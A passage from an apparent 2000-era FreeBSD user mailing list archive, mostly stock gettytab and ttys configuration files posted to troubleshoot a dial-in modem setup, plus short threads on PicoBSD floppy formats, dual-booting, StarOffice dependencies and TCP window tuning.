	:np:sp#19200:
std.38400|38400-baud:\
	:np:sp#38400:
std.57600|57600-baud:\
	:np:sp#57600:
std.115200|115200-baud:\
	:np:sp#115200:
std.230400|230400-baud:\
	:np:sp#230400:

local.9600|CLOCAL tty @ 9600 Bd:\
	:c0#0x0000c300:c1#0x0000cb00:c2#0x0000cb00:\
	:o0#0x00000007:o1#0x00000002:o2#0x00000007:\
	:i0#0x00000704:i1#0x00000000:i2#0x00000704:\
	:l0#0x000005cf:l1#0x00000000:l2#0x000005cf:\
	:sp#9600:

0|d300|Dial-300:\
	:nx=d1200:cd#2:sp#300:
d1200|Dial-1200:\
	:nx=d150:fd#1:sp#1200:
d150|Dial-150:\
	:nx=d110:lm@:tc=150-baud:
d110|Dial-110:\
	:nx=d300:tc=300-baud:

D2400|d2400|Fast-Dial-2400:\
	:nx=D1200:tc=2400-baud:
3|D1200|Fast-Dial-1200:\
	:nx=D300:tc=1200-baud:
5|D300|Fast-Dial-300:\
	:nx=D2400:tc=300-baud:

t19200:\
	:nx=t2400:tc=19200-baud:
t2400:\
	:nx=t1200:tc=2400-baud:
t1200:\
	:nx=t19200:tc=1200-baud:

t9600:\
	:nx=t2400a:tc=9600-baud:
t2400a:\
	:nx=t1200a:tc=2400-baud:
t1200a:\
	:nx=t9600:tc=1200-baud:

-|tty33|asr33|Pity the poor user of this beast:\
	:tc=110-baud:

4|Console|Console Decwriter II:\
	:nd@:cd@:rw:tc=300-baud:

e|Console-1200|Console Decwriter III:\
	:fd@:nd@:cd@:rw:tc=1200-baud:

i|Interdata console:\
	:uc:sp#0:

l|lsi chess terminal:\
	:sp#300:

X|Xwindow|X window system:\
	:fd@:nd@:cd@:rw:sp#9600:

P|Pc|Pc console:\
	:ht:np:sp#115200:

8|T9600|CRT with hardcopy:\
	:nx=T300:tc=9600-baud:
9|T300|CRT with hardcopy (300):\
	:nx=T9600:tc=300-baud:

plug-9600|Plugboard-9600:\
	:pf#1:tc=9600-baud:
p|P9600|Plugboard-9600-rotary:\
	:pf#1:nx=P300:tc=9600-baud:
q|P300|Plugboard-300:\
	:pf#1:nx=P1200:tc=300-baud:
r|P1200|Plugboard-1200:\
	:pf#1:nx=P9600:tc=1200-baud:

s|DSW|Port Selector:\
	:ps:sp#2400:

A|Auto-baud:\
	:ab:sp#2400:f0#040:

autologin|al.9600:\
	:al=root:tc=std.9600:

--- /dev/ttys ---
console	none				unknown	off secure
ttyv0	"/usr/libexec/getty Pc"		cons25	on  secure
ttyv1	"/usr/libexec/getty Pc"		cons25	on  secure
ttyv2	"/usr/libexec/getty Pc"		cons25	on  secure
ttyv3	"/usr/libexec/getty Pc"		cons25	on  secure
ttyv4	"/usr/libexec/getty Pc"		cons25	on  secure
ttyv5	"/usr/libexec/getty Pc"		cons25	on  secure
ttyv6	"/usr/libexec/getty Pc"		cons25	on  secure
ttyv7	"/usr/libexec/getty Pc"		cons25	on  secure
ttyv8	"/usr/X11R6/bin/xdm -nodaemon"	xterm	off secure

ttyd0	"/usr/libexec/getty std.57600"	dialup	on

#ttyd0	"/usr/libexec/getty std.9600"	dialup	off secure
ttyd1	"/usr/libexec/getty std.9600"	dialup	off secure
ttyd2	"/usr/libexec/getty std.9600"	dialup	off secure
ttyd3	"/usr/libexec/getty std.9600"	dialup	off secure
ttyp0	none			network
ttyp1	none			network
ttyp2	none			network
ttyp3	none			network
ttyp4	none			network
ttyp5	none			network
ttyp6	none			network
ttyp7	none			network
ttyp8	none			network
ttyp9	none			network
ttypa	none			network
ttypb	none			network
ttypc	none			network
ttypd	none			network
ttype	none			network
ttypf	none			network
ttypg	none			network
ttyph	none			network
ttypi	none			network
ttypj	none			network
ttypk	none			network
ttypl	none			network
ttypm	none			network
ttypn	none			network
ttypo	none			network
ttypp	none			network
ttypq	none			network
ttypr	none			network
ttyps	none			network
ttypt	none			network
ttypu	none			network
ttypv	none			network
ttyq0	none			network
ttyq1	none			network
ttyq2	none			network
ttyq3	none			network
ttyq4	none			network
ttyq5	none			network
ttyq6	none			network
ttyq7	none			network
ttyq8	none			network
ttyq9	none			network
ttyqa	none			network
ttyqb	none			network
ttyqc	none			network
ttyqd	none			network
ttyqe	none			network
ttyqf	none			network
ttyqg	none			network
ttyqh	none			network
ttyqi	none			network
ttyqj	none			network
ttyqk	none			network
ttyql	none			network
ttyqm	none			network
ttyqn	none			network
ttyqo	none			network
ttyqp	none			network
ttyqq	none			network
ttyqr	none			network
ttyqs	none			network
ttyqt	none			network
ttyqu	none			network
ttyqv	none			network
ttyr0	none			network
ttyr1	none			network
ttyr2	none			network
ttyr3	none			network
ttyr4	none			network
ttyr5	none			network
ttyr6	none			network
ttyr7	none			network
ttyr8	none			network
ttyr9	none			network
ttyra	none			network
ttyrb	none			network
ttyrc	none			network
ttyrd	none			network
ttyre	none			network
ttyrf	none			network
ttyrg	none			network
ttyrh	none			network
ttyri	none			network
ttyrj	none			network
ttyrk	none			network
ttyrl	none			network
ttyrm	none			network
ttyrn	none			network
ttyro	none			network
ttyrp	none			network
ttyrq	none			network
ttyrr	none			network
ttyrs	none			network
ttyrt	none			network
ttyru	none			network
ttyrv	none			network
ttys0	none			network
ttys1	none			network
ttys2	none			network
ttys3	none			network
ttys4	none			network
ttys5	none			network
ttys6	none			network
ttys7	none			network
ttys8	none			network
ttys9	none			network
ttysa	none			network
ttysb	none			network
ttysc	none			network
ttysd	none			network
ttyse	none			network
ttysf	none			network
ttysg	none			network
ttysh	none			network
ttysi	none			network
ttysj	none			network
ttysk	none			network
ttysl	none			network
ttysm	none			network
ttysn	none			network
ttyso	none			network
ttysp	none			network
ttysq	none			network
ttysr	none			network
ttyss	none			network
ttyst	none			network
ttysu	none			network
ttysv	none			network
ttyP0	none			network
ttyP1	none			network
ttyP2	none			network
ttyP3	none			network
ttyP4	none			network
ttyP5	none			network
ttyP6	none			network
ttyP7	none			network
ttyP8	none			network
ttyP9	none			network
ttyPa	none			network
ttyPb	none			network
ttyPc	none			network
ttyPd	none			network
ttyPe	none			network
ttyPf	none			network
ttyPg	none			network
ttyPh	none			network
ttyPi	none			network
ttyPj	none			network
ttyPk	none			network
ttyPl	none			network
ttyPm	none			network
ttyPn	none			network
ttyPo	none			network
ttyPp	none			network
ttyPq	none			network
ttyPr	none			network
ttyPs	none			network
ttyPt	none			network
ttyPu	none			network
ttyPv	none			network
ttyQ0	none			network
ttyQ1	none			network
ttyQ2	none			network
ttyQ3	none			network
ttyQ4	none			network
ttyQ5	none			network
ttyQ6	none			network
ttyQ7	none			network
ttyQ8	none			network
ttyQ9	none			network
ttyQa	none			network
ttyQb	none			network
ttyQc	none			network
ttyQd	none			network
ttyQe	none			network
ttyQf	none			network
ttyQg	none			network
ttyQh	none			network
ttyQi	none			network
ttyQj	none			network
ttyQk	none			network
ttyQl	none			network
ttyQm	none			network
ttyQn	none			network
ttyQo	none			network
ttyQp	none			network
ttyQq	none			network
ttyQr	none			network
ttyQs	none			network
ttyQt	none			network
ttyQu	none			network
ttyQv	none			network
ttyR0	none			network
ttyR1	none			network
ttyR2	none			network
ttyR3	none			network
ttyR4	none			network
ttyR5	none			network
ttyR6	none			network
ttyR7	none			network
ttyR8	none			network
ttyR9	none			network
ttyRa	none			network
ttyRb	none			network
ttyRc	none			network
ttyRd	none			network
ttyRe	none			network
ttyRf	none			network
ttyRg	none			network
ttyRh	none			network
ttyRi	none			network
ttyRj	none			network
ttyRk	none			network
ttyRl	none			network
ttyRm	none			network
ttyRn	none			network
ttyRo	none			network
ttyRp	none			network
ttyRq	none			network
ttyRr	none			network
ttyRs	none			network
ttyRt	none			network
ttyRu	none			network
ttyRv	none			network
ttyS0	none			network
ttyS1	none			network
ttyS2	none			network
ttyS3	none			network
ttyS4	none			network
ttyS5	none			network
ttyS6	none			network
ttyS7	none			network
ttyS8	none			network
ttyS9	none			network
ttySa	none			network
ttySb	none			network
ttySc	none			network
ttySd	none			network
ttySe	none			network
ttySf	none			network
ttySg	none			network
ttySh	none			network
ttySi	none			network
ttySj	none			network
ttySk	none			network
ttySl	none			network
ttySm	none			network
ttySn	none			network
ttySo	none			network
ttySp	none			network
ttySq	none			network
ttySr	none			network
ttySs	none			network
ttySt	none			network
ttySu	none			network
ttySv	none			network


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  Setup :

          FreeBSD          -- 4.2 Stable 12/21/00 i386
          /dev/ttyd0       -- SB Modem Blaster 56K II
          /dev/ttyd1       -- SB Modem Blaster 56K II

  Question :

          Wasn't sure if this is a problem or not so thought I would toss
          it up and let some of the more learned people figure it out.
          I have getty watching ttyd0 for incoming calls.  When I use `ppp`
          to access /dev/cuaa0 and /dev/cuaa1 it uses /dev/ttyd1 for both.
          When getty is not set to watch /dev/ttyd0 ppp uses ttyd0 when told
          to use /dev/cuaa0 and ttyd1 when told to use /dev/cuaa1.  Maybe
          this is how it is supposed to work, if so, disregard.  Thanks


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I seem to keep having this problem no matter how many times
i reinstalled with 4.0-release CD.

I tried on two 30G drives, after install, when i do 'top'
i get top: nlist failed. On boot kernel time, it will show
Not found: /boot/loader
and will auto load /kernel (I installed bootmgr in the setup)


This doesnt affect my 15G drives.




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In the last episode (Dec 22), Lauri Laupmaa said:
> Under SCO and Solaris there is a program named sar (system activity
> reporter) Is it (or some such program) ported to freebsd ?

SCO released the source to their sar program to a company called
Starnix in June '99.  Nothing has happened since then, and the source
is apparently still not freely available.

http://www.sco.com/press/releases/1999/6868.html

http://www.starnix.com/osar/

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I have two harddisks in my computer. I installed win2000
in the first disk and freebsd in the second one. So I can
not boot into BSD directly. Now, I use cd-rom to boot and
then select boot loader from the second disk to boot into
BSD. I want to know if I could use the os loader of win2000
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Hello George,

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On Fri, Dec 22, 2000 at 08:52:52AM -0800, Luigi Rizzo wrote:
> > Did anybody suceed with fd1720 flopies ?   I couldn't write any single
> > 1720K image there.
> you must fdformat /dev/fd0.1720 (check syntax) first, otherwise
> the write fails when it hits the first sector (sec.19 track 0) which
> is supposed to be there but is not
> Note that almost surely you won't be able to boot from that disk.

Luigi.

Thank you, your advise was very helpfull.  However, I supposed to boot
from it, but didn't get anyting except the FreeBSD BOOT loader.  That's
bad.  I miss about 30KB on a usual fd1440 diskette to run my PicoBSD
build on, that's why I'm digging into this format.

Can you suggest me something in this case?  Looks like FreeBSD BOOT
loader doesn't know anything about disk partitioning for such
"stressed" formats.  

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On Fri, 22 Dec 2000, Dennis Turpitka wrote:

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From owner-freebsd-questions  Fri Dec 22  9:43:40 2000
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> On Fri, Dec 22, 2000 at 08:52:52AM -0800, Luigi Rizzo wrote:
> > > Did anybody suceed with fd1720 flopies ?   I couldn't write any single
> > > 1720K image there.
> > you must fdformat /dev/fd0.1720 (check syntax) first, otherwise
> > the write fails when it hits the first sector (sec.19 track 0) which
> > is supposed to be there but is not
> > Note that almost surely you won't be able to boot from that disk.
> 
> Luigi.
> 
> Thank you, your advise was very helpfull.  However, I supposed to boot
> from it, but didn't get anyting except the FreeBSD BOOT loader.  That's
> bad.  I miss about 30KB on a usual fd1440 diskette to run my PicoBSD
> build on, that's why I'm digging into this format.

try the "1480" format (you need the changes i recently committed to
RELENG_4 should also help, as you save some another 70KB for
the loader).

> Can you suggest me something in this case?  Looks like FreeBSD BOOT
> loader doesn't know anything about disk partitioning for such
> "stressed" formats.  

it is not the FreeBSD loader, it is the bios that only knows the
18x80 geometry (the same would be for the 18x82 geometry used by
the 1480 format, but in that case apparently the bios does not
check the track number).

	cheers
	luigi
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  I'm so sorry to re send this question but I figured it would save maybe
  one or two people the time of replying.  In the original e-mail I included
  the incorrect gettytab and ttys file.  Thanks again for any help.

  Setup :

          FreeBSD          -- 4.2 Stable 12/21/00 i386
          /dev/ttyd0       -- SB Modem Blaster 56K II
          /dev/ttyd1       -- SB Modem Blaster 56K II
          /dev/gettytab    -- included
          /dev/ttys        -- included

  Problem :

          I'm using `ppp` on /dev/cuaa1 (/dev/ttyd1) to dial in to 
          /dev/ttyd0.  ttyd0 picks up and talks with ttyd1, and seems
          to establish a connection.  ttyd0 tells ttyd1 that it has connected
          at what ever speed ttyd1 asks for (ie "CONNECT 9600").  When
          I use `watch` to look at what is going on with ttyd0, it shows
          the usual login prompt.  However on ttyd1 all I see is the "CONNECT"
          message and then garbage.  When I type anything in `ppp` (ttyd1)
          it shows up as garbage on both the `watch` of ttyd0 and in `ppp`
          of ttyd1, but it is not the same garbage.  The modems are identical
          and have identical register settings save for the answer register.
          Thanks for any help you might give.

--- /dev/gettytab ---

# $FreeBSD: src/etc/gettytab,v 1.17.2.1 2000/08/16 22:46:30 jhb Exp $
#	from: @(#)gettytab	5.14 (Berkeley) 3/27/91
#
# Most of the table entries here are just copies of the old getty table,
# it is by no means certain, or even likely, that any of them are optimal
# for any purpose whatever.  Nor is it likely that more than a couple are
# even correct.
#
# The default gettytab entry, used to set defaults for all other
# entries, and in cases where getty is called with no table name.
#
# cb, ce and ck are desirable on most crt's.  The non-crt entries need to
# be changed to turn them off (:cb@:ce@:ck@:).
#
# lc should always be on; it's a remainder of some stone age when there
# have been terminals around not being able of handling lower-case
# characters. Those terminals aren't supported any longer, but getty is
# `smart' about them by default.
#
# Parity defaults to even, but the Pc entry and all the `std' entries
# specify no parity.   The different parities are:
#     (none): same as even except -inpck instead of inpck for login.
#     ep:     getty will use raw mode (cs8 -parenb) (unless rw is set) and
#             fake parity.  login will use even parity (cs7 parenb -parodd).
#     op:     same as ep except odd parity (cs7 parenb parodd) for login.
#             op overrides ep.
#     ap:     same as ep except -inpck instead of inpck for login.
#             ap overrides op and ep.
#     np:     1. don't fake parity in getty.  The fake parity garbles
#                characters on non-terminals (like pccons) that don't
#                support parity.  It would probably better for getty not to
#                try to fake parity.  It could just use cbreak mode so as
#                not to force cs8 and let the hardware handle the parity.
#                login has to be rely on the hardware anyway.
#             2. set PASS8, giving cs8 -parenb -istrip -inpck.
#     np:ep:  same as np except inpck.
#     np:op:  same as np:ep except for parodd (but parodd is overridden).
#     np:ap:  same as np except istrip.
#
default:\
	:cb:ce:ck:lc:fd#1000:im=\r\n%s/%m (%h) (%t)\r\n\r\n:sp#1200:

#
# Fixed speed entries
#
#	The "std.NNN" names are known to the special case
#	portselector code in getty, however they can
#	be assigned to any table desired.
#	The "NNN-baud" names are known to the special case
#	autobaud code in getty, and likewise can
#	be assigned to any table desired (hopefully the same speed).
#
a|std.110|110-baud:\
	:np:nd#1:cd#1:uc:sp#110:
b|std.134|134.5-baud:\
	:np:nd#1:cd#2:ff#1:td#1:sp#134:ht:nl:
1|std.150|150-baud:\
	:np:nd#1:cd#2:td#1:fd#1:sp#150:ht:nl:lm=\E\72\6\6\17login\72 :
c|std.300|300-baud:\
	:np:nd#1:cd#1:sp#300:
d|std.600|600-baud:\
	:np:nd#1:cd#1:sp#600:
f|std.1200|1200-baud:\
	:np:fd#1:sp#1200:
6|std.2400|2400-baud:\
	:np:sp#2400:
7|std.4800|4800-baud:\
	:np:sp#4800:
2|std.9600|9600-baud:\
	:np:sp#9600:
g|std.19200|19200-baud:\
	:np:sp#19200:
std.38400|38400-baud:\
	:np:sp#38400:
std.57600|57600-baud:\
	:np:sp#57600:
std.115200|115200-baud:\
	:np:sp#115200:
std.230400|230400-baud:\
	:np:sp#230400:

vha|VH300|High Speed Modem at 300,8-bit:\
	:nx=VH230400:tc=std.300:
vhb|VH1200|High Speed Modem at 1200,8-bit:\
	:nx=VH300:tc=std.1200:
vhc|VH2400|High Speed Modem at 2400,8-bit:\
	:nx=VH1200:tc=std.2400:
vhd|VH9600|High Speed Modem at 9600,8-bit:\
	:nx=VH2400:tc=std.9600:
vhe|VH19200|High Speed Modem at 19200,8-bit:\
	:nx=VH9600:tc=std.19200:
vhf|VH38400|High Speed Modem at 38400,8-bit:\
	:nx=VH19200:tc=std.38400:
vhg|VH57600|High Speed Modem at 57600,8-bit:\
	:nx=VH38400:tc=std.57600:
vhh|VH115200|High Speed Modem at 115200,8-bit:\
	:nx=VH57600:tc=std.115200:
vhi|VH230400|High Speed Modem at 230400,8-bit:\
	:nx=VH230400:tc=std.230400:


#
# Entry specifying explicit device settings.  See termios(4) and
# /usr/include/termios.h, too.  The entry forces the tty into
# CLOCAL mode (so no DCD is required), and uses Xon/Xoff flow control.
#
# cflags: CLOCAL | HUPCL | CREAD | CS8
# oflags: OPOST | ONLCR | OXTABS
# iflags: IXOFF | IXON | ICRNL | IGNPAR
# lflags: IEXTEN | ICANON | ISIG | ECHOCTL | ECHO | ECHOK | ECHOE | ECHOKE
#
# The `0' flags don't have input enabled.  The `1' flags don't echo.
# (Echoing is done inside getty itself.)
#
local.9600|CLOCAL tty @ 9600 Bd:\
	:c0#0x0000c300:c1#0x0000cb00:c2#0x0000cb00:\
	:o0#0x00000007:o1#0x00000002:o2#0x00000007:\
	:i0#0x00000704:i1#0x00000000:i2#0x00000704:\
	:l0#0x000005cf:l1#0x00000000:l2#0x000005cf:\
	:sp#9600:

#
# Dial in rotary tables, speed selection via 'break'
#
0|d300|Dial-300:\
	:nx=d1200:cd#2:sp#300:
d1200|Dial-1200:\
	:nx=d150:fd#1:sp#1200:
d150|Dial-150:\
	:nx=d110:lm@:tc=150-baud:
d110|Dial-110:\
	:nx=d300:tc=300-baud:

#
# Fast dialup terminals, 2400/1200/300 rotary (can start either way)
#
D2400|d2400|Fast-Dial-2400:\
	:nx=D1200:tc=2400-baud:
3|D1200|Fast-Dial-1200:\
	:nx=D300:tc=1200-baud:
5|D300|Fast-Dial-300:\
	:nx=D2400:tc=300-baud:

#
#telebit (19200)
#
t19200:\
	:nx=t2400:tc=19200-baud:
t2400:\
	:nx=t1200:tc=2400-baud:
t1200:\
	:nx=t19200:tc=1200-baud:

#
#telebit (9600)
#
t9600:\
	:nx=t2400a:tc=9600-baud:
t2400a:\
	:nx=t1200a:tc=2400-baud:
t1200a:\
	:nx=t9600:tc=1200-baud:

#
# Odd special case terminals
#
-|tty33|asr33|Pity the poor user of this beast:\
	:tc=110-baud:

4|Console|Console Decwriter II:\
	:nd@:cd@:rw:tc=300-baud:

e|Console-1200|Console Decwriter III:\
	:fd@:nd@:cd@:rw:tc=1200-baud:

i|Interdata console:\
	:uc:sp#0:

l|lsi chess terminal:\
	:sp#300:

X|Xwindow|X window system:\
	:fd@:nd@:cd@:rw:sp#9600:

P|Pc|Pc console:\
	:ht:np:sp#115200:

#
# Wierdo special case for fast crt's with hardcopy devices
#
8|T9600|CRT with hardcopy:\
	:nx=T300:tc=9600-baud:
9|T300|CRT with hardcopy (300):\
	:nx=T9600:tc=300-baud:

#
# Plugboard, and misc other terminals
#
plug-9600|Plugboard-9600:\
	:pf#1:tc=9600-baud:
p|P9600|Plugboard-9600-rotary:\
	:pf#1:nx=P300:tc=9600-baud:
q|P300|Plugboard-300:\
	:pf#1:nx=P1200:tc=300-baud:
r|P1200|Plugboard-1200:\
	:pf#1:nx=P9600:tc=1200-baud:

#
# XXXX Port selector
#
s|DSW|Port Selector:\
	:ps:sp#2400:

#
# Auto-baud speed detect entry for Micom 600.
# Special code in getty will switch this out
# to one of the NNN-baud entries.
#
A|Auto-baud:\
	:ab:sp#2400:f0#040:

#
# autologin - automatically log in as root
#

autologin|al.9600:\
	:al=root:tc=std.9600:
#
# $FreeBSD: src/etc/etc.i386/ttys,v 1.8 2000/01/29 12:18:03 obrien Exp $
#	@(#)ttys	5.1 (Berkeley) 4/17/89
#
# This file specifies various information about terminals on the system.
# It is used by several different programs.  Common entries for the
# various columns include:
#
# name  The name of the terminal device.
#
# getty The program to start running on the terminal.  Typically a
#       getty program, as the name implies.  Other common entries
#       include none, when no getty is needed, and xdm, to start the
#       X Window System.
#
# type The initial terminal type for this port.  For hardwired
#      terminal lines, this will contain the type of terminal used.
#      For virtual consoles, the correct type is cons25.  Other
#      common values include network for network connections on
#      pseudo-terminals, dialup for incoming modem ports, and unknown
#      when the terminal type cannot be predetermined.
#
# status Must be on or off.  If on, init will run the getty program on
#        the specified port.  If the word "secure" appears, this tty
#        allows root login.
#
# name	getty				type	status		comments
#
# If console is marked "insecure", then init will ask for the root password
# when going to single-user mode.
console	none				unknown	off secure
#
ttyv0	"/usr/libexec/getty Pc"		cons25	on  secure
# Virtual terminals
ttyv1	"/usr/libexec/getty Pc"		cons25	on  secure
ttyv2	"/usr/libexec/getty Pc"		cons25	on  secure
ttyv3	"/usr/libexec/getty Pc"		cons25	on  secure
ttyv4	"/usr/libexec/getty Pc"		cons25	on  secure
ttyv5	"/usr/libexec/getty Pc"		cons25	on  secure
ttyv6	"/usr/libexec/getty Pc"		cons25	on  secure
ttyv7	"/usr/libexec/getty Pc"		cons25	on  secure
ttyv8	"/usr/X11R6/bin/xdm -nodaemon"	xterm	off secure
# Serial terminals
# The 'dialup' keyword identifies dialin lines to login, fingerd etc.
ttyd0	"/usr/libexec/getty VH57600"	dialup	on
#ttyd0	"/usr/libexec/getty std.9600"	dialup	off secure
ttyd1	"/usr/libexec/getty std.9600"	dialup	off secure
ttyd2	"/usr/libexec/getty std.9600"	dialup	off secure
ttyd3	"/usr/libexec/getty std.9600"	dialup	off secure
# Pseudo terminals
ttyp0	none			network
ttyp1	none			network
ttyp2	none			network
ttyp3	none			network
ttyp4	none			network
ttyp5	none			network
ttyp6	none			network
ttyp7	none			network
ttyp8	none			network
ttyp9	none			network
ttypa	none			network
ttypb	none			network
ttypc	none			network
ttypd	none			network
ttype	none			network
ttypf	none			network
ttypg	none			network
ttyph	none			network
ttypi	none			network
ttypj	none			network
ttypk	none			network
ttypl	none			network
ttypm	none			network
ttypn	none			network
ttypo	none			network
ttypp	none			network
ttypq	none			network
ttypr	none			network
ttyps	none			network
ttypt	none			network
ttypu	none			network
ttypv	none			network
ttyq0	none			network
ttyq1	none			network
ttyq2	none			network
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ttyq7	none			network
ttyq8	none			network
ttyq9	none			network
ttyqa	none			network
ttyqb	none			network
ttyqc	none			network
ttyqd	none			network
ttyqe	none			network
ttyqf	none			network
ttyqg	none			network
ttyqh	none			network
ttyqi	none			network
ttyqj	none			network
ttyqk	none			network
ttyql	none			network
ttyqm	none			network
ttyqn	none			network
ttyqo	none			network
ttyqp	none			network
ttyqq	none			network
ttyqr	none			network
ttyqs	none			network
ttyqt	none			network
ttyqu	none			network
ttyqv	none			network
ttyr0	none			network
ttyr1	none			network
ttyr2	none			network
ttyr3	none			network
ttyr4	none			network
ttyr5	none			network
ttyr6	none			network
ttyr7	none			network
ttyr8	none			network
ttyr9	none			network
ttyra	none			network
ttyrb	none			network
ttyrc	none			network
ttyrd	none			network
ttyre	none			network
ttyrf	none			network
ttyrg	none			network
ttyrh	none			network
ttyri	none			network
ttyrj	none			network
ttyrk	none			network
ttyrl	none			network
ttyrm	none			network
ttyrn	none			network
ttyro	none			network
ttyrp	none			network
ttyrq	none			network
ttyrr	none			network
ttyrs	none			network
ttyrt	none			network
ttyru	none			network
ttyrv	none			network
ttys0	none			network
ttys1	none			network
ttys2	none			network
ttys3	none			network
ttys4	none			network
ttys5	none			network
ttys6	none			network
ttys7	none			network
ttys8	none			network
ttys9	none			network
ttysa	none			network
ttysb	none			network
ttysc	none			network
ttysd	none			network
ttyse	none			network
ttysf	none			network
ttysg	none			network
ttysh	none			network
ttysi	none			network
ttysj	none			network
ttysk	none			network
ttysl	none			network
ttysm	none			network
ttysn	none			network
ttyso	none			network
ttysp	none			network
ttysq	none			network
ttysr	none			network
ttyss	none			network
ttyst	none			network
ttysu	none			network
ttysv	none			network
ttyP0	none			network
ttyP1	none			network
ttyP2	none			network
ttyP3	none			network
ttyP4	none			network
ttyP5	none			network
ttyP6	none			network
ttyP7	none			network
ttyP8	none			network
ttyP9	none			network
ttyPa	none			network
ttyPb	none			network
ttyPc	none			network
ttyPd	none			network
ttyPe	none			network
ttyPf	none			network
ttyPg	none			network
ttyPh	none			network
ttyPi	none			network
ttyPj	none			network
ttyPk	none			network
ttyPl	none			network
ttyPm	none			network
ttyPn	none			network
ttyPo	none			network
ttyPp	none			network
ttyPq	none			network
ttyPr	none			network
ttyPs	none			network
ttyPt	none			network
ttyPu	none			network
ttyPv	none			network
ttyQ0	none			network
ttyQ1	none			network
ttyQ2	none			network
ttyQ3	none			network
ttyQ4	none			network
ttyQ5	none			network
ttyQ6	none			network
ttyQ7	none			network
ttyQ8	none			network
ttyQ9	none			network
ttyQa	none			network
ttyQb	none			network
ttyQc	none			network
ttyQd	none			network
ttyQe	none			network
ttyQf	none			network
ttyQg	none			network
ttyQh	none			network
ttyQi	none			network
ttyQj	none			network
ttyQk	none			network
ttyQl	none			network
ttyQm	none			network
ttyQn	none			network
ttyQo	none			network
ttyQp	none			network
ttyQq	none			network
ttyQr	none			network
ttyQs	none			network
ttyQt	none			network
ttyQu	none			network
ttyQv	none			network
ttyR0	none			network
ttyR1	none			network
ttyR2	none			network
ttyR3	none			network
ttyR4	none			network
ttyR5	none			network
ttyR6	none			network
ttyR7	none			network
ttyR8	none			network
ttyR9	none			network
ttyRa	none			network
ttyRb	none			network
ttyRc	none			network
ttyRd	none			network
ttyRe	none			network
ttyRf	none			network
ttyRg	none			network
ttyRh	none			network
ttyRi	none			network
ttyRj	none			network
ttyRk	none			network
ttyRl	none			network
ttyRm	none			network
ttyRn	none			network
ttyRo	none			network
ttyRp	none			network
ttyRq	none			network
ttyRr	none			network
ttyRs	none			network
ttyRt	none			network
ttyRu	none			network
ttyRv	none			network
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ttyS1	none			network
ttyS2	none			network
ttyS3	none			network
ttyS4	none			network
ttyS5	none			network
ttyS6	none			network
ttyS7	none			network
ttyS8	none			network
ttyS9	none			network
ttySa	none			network
ttySb	none			network
ttySc	none			network
ttySd	none			network
ttySe	none			network
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Yes you can.  In fact, believe it or not...win 2K is FreeBSd friendly :)

- Jim

At 01:31 AM 12/23/2000 +0800, FreeBSD wrote:
>I have two harddisks in my computer. I installed win2000
>in the first disk and freebsd in the second one. So I can
>not boot into BSD directly. Now, I use cd-rom to boot and
>then select boot loader from the second disk to boot into
>BSD. I want to know if I could use the os loader of win2000
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On Fri, Dec 22, 2000 at 07:40:29PM +0200, Alexander Prohorenko wrote:
> On Fri, Dec 22, 2000 at 08:52:52AM -0800, Luigi Rizzo wrote:
> > > Did anybody suceed with fd1720 flopies ?   I couldn't write any single
> > > 1720K image there.
> > you must fdformat /dev/fd0.1720 (check syntax) first, otherwise
> > the write fails when it hits the first sector (sec.19 track 0) which
> > is supposed to be there but is not
> > Note that almost surely you won't be able to boot from that disk.
> 
> Luigi.
> 
> Thank you, your advise was very helpfull.  However, I supposed to boot
> from it, but didn't get anyting except the FreeBSD BOOT loader.  That's
> bad.  I miss about 30KB on a usual fd1440 diskette to run my PicoBSD
> build on, that's why I'm digging into this format.
> 
> Can you suggest me something in this case?  Looks like FreeBSD BOOT
> loader doesn't know anything about disk partitioning for such
> "stressed" formats.  

To quote luigi's commit message, introducing this functionality
to -stable's PicoBSD..

luigi       2000/12/21 18:11:14 PST

  Modified files:        (Branch: RELENG_4)
    release/picobsd/build build

  Log:

  Add support for different floppy sizes (1480, 1720, 2880).
  The "1720" format will not boot most likely.

  The "1480" format (really 1476KB, 18 sectors x 82 tracks) does
  boot fine on the systems i have tried.

Can you try 1480?

G'luck,
Peter

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howdy,

I'm running FreeBSD 4.2 and have installed linux_base.tar. Following this I
attempted to make star office I receive an error promting me to install
glibc_inst.tar (below):

Any ideas where I can get glibc_inst.tar , I can't seem to find it
anywhere..??

30140362600# make
===>   staroffice-5.2 depends on file: /compat/linux/lib/libc.so.6 - found
===>  Extracting for staroffice-5.2
>>Checksum OK for staroffice52/soa-5_2-ga-bin-linux-en.bin.
>>Checksum OK for staroffice52/so-5_2-ga-bin-linux-en.bin.

ERROR: setup system check failed:

         libc.so.6   library not found

StarOffice 5.0 uses the new glibc2 (=libc6).
The libraries above could not be found.

The glibc_inst.tar package includes a README file which describes
how to install these libraries. It will be made available on the
StarDivision
ftp mirror sites in the same directory as the StarOffice installation files.

You can try to run setup (and StarOffice) anyway. If it does
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In message <20001222182112.A11268@extra.dp.ua>, Alexander Prohorenko writes:
>Hey.
>
>Did anybody suceed with fd1720 flopies ?   I couldn't write any single
>1720K image there.

Did you format the floppy for it ?

Try
	fdwrite -d /dev/rfd0.1720 -f flogw-4000.bin

That will format, write, read & compare for you...

>su-2.03# dd if=flogw-4000.bin of=/dev/rfd0.1720
>dd: /dev/rfd0.1720: Input/output error
>19+0 records in
>18+0 records out
>9216 bytes transferred in 3.377621 secs (2729 bytes/sec)
>
>Should I do anything special for this ?
>
>Thank you.
>
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> Date: Thu, 21 Dec 2000 21:06:08 -0500 (EST)
> From: M <kamidesu@unete.com.ve>
> Subject: tools is not in the ISO image
> 
>  the /tools directory is not in the ISO that I downloaded (4.1.1 R). It
> should be there, so I was wondering why it is not. Thanks.
> 

Are you sure you didn't download 4.1.1-RC (Release Candidate)?
The Release Candidates frequently do not have the tools directory.


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On Fri, Dec 22, 2000 at 09:43:35AM -0800, Luigi Rizzo wrote:
> > Thank you, your advise was very helpfull.  However, I supposed to boot
> > from it, but didn't get anyting except the FreeBSD BOOT loader.  That's
> > bad.  I miss about 30KB on a usual fd1440 diskette to run my PicoBSD
> > build on, that's why I'm digging into this format.
> try the "1480" format (you need the changes i recently committed to
> RELENG_4 should also help, as you save some another 70KB for
> the loader).

Thank you.  I'll run through the CVS and give it a shot.

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I'm still a newbie @ BSD! I was wondering, I know in micro$ofts 
implementation of TCP/IP they have a thing called a TCP recieving and 
sending window. When I got my Cable modem I was getting real bad speeds 
because my dial up software changed my recieve window to a smaller size. 
Thus changing the recieve window bigger I got the speeds I should have. Was 
wondering if BSD has a simmilar setting some where?
if so how can it be adjusted? Thanks John!
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Thanks for your reply.

I figured the thing out myself.

1. I partitioned the new drive and installed boot sector using
/stand/sysinstall, and mounted them under /mnt/root, /mnt/root/usr
